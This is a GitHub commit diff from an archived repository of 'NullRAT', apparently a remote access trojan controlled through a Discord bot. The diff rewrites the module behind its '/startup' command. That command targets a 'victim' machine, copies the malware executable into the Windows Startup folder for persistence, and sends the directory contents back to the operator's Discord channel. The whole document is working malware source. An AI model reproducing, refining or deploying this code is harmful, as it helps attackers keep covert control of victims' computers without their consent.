Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit c5967cb

Browse files
committed
Rewrite legacy startup
1 parent ca278f0 commit c5967cb

1 file changed

Lines changed: 44 additions & 10 deletions

File tree

NullRAT/modules/startup.py

Lines changed: 44 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,9 @@
11
import disnake as discord
22
from disnake.ext import commands
33
from datetime import datetime
4+
from sys import executable
45

5-
import os, requests
6+
import os, requests, subprocess
67
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
78

89
class Startup(commands.Cog):
@@ -17,15 +18,48 @@ async def startup(self, ctx, victim):
1718
----------
1819
victim: Identifier of the affected computer (found via /listvictims).
1920
"""
20-
if str(victim) == str(self.ip_addr):
21-
from sys import executable; msg = "```\n"
22-
await ctx.response.send_message(embed = Embed(title = "Last known RAT directory: \n" + original_dir + "\n\nCurrent Directory: \n" + os.getcwd(), color = 0x0081FA))
23-
os.chdir(original_dir)
24-
await ctx.followup.send(embed = Embed(title = "Trying to copy payload into startup directory...", color = 0x0081FA))
25-
subprocess.run(f'copy "{executable}" "{os.getenv("appdata")}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
21+
if str(victim) == str(self.bot.identifier):
22+
msg = "```\n"
23+
24+
await ctx.response.send_message(
25+
embed = discord.Embed(
26+
title = "Last known RAT directory: \n" + self.bot.original_dir + "\n\nCurrent Directory: \n" + os.getcwd(),
27+
color = 0x000000
28+
)
29+
)
30+
31+
os.chdir(self.bot.original_dir)
32+
33+
await ctx.channel.send(
34+
embed = discord.Embed(
35+
title = "Trying to copy payload into startup directory...",
36+
color = 0x000000
37+
)
38+
)
39+
40+
subprocess.run(
41+
f'copy "{executable}" "{os.getenv("appdata")}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"',
42+
shell=True,
43+
stdout=subprocess.PIPE,
44+
stderr=subprocess.PIPE,
45+
stdin=subprocess.PIPE
46+
)
47+
2648
os.chdir(os.getenv("appdata") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")
27-
for value in os.listdir(): msg += f'{value}\n'
28-
msg += "```"; await ctx.followup.send(msg, embed=Embed(title="If you see the program here, you're good to go: ", color=0x0081FA))
29-
49+
50+
for value in os.listdir():
51+
msg += f'{value}\n'
52+
53+
msg += "```"
54+
await ctx.channel.send(
55+
embed=self.bot.genEmbed(
56+
"If you see the program here, you're good to go: ",
57+
datetime.now()
58+
)
59+
)
60+
61+
await ctx.channel.send(msg)
62+
os.chdir(self.bot.original_dir)
63+
3064
def setup(bot: commands.Bot):
3165
bot.add_cog(Startup(bot))

0 commit comments

Comments
 (0)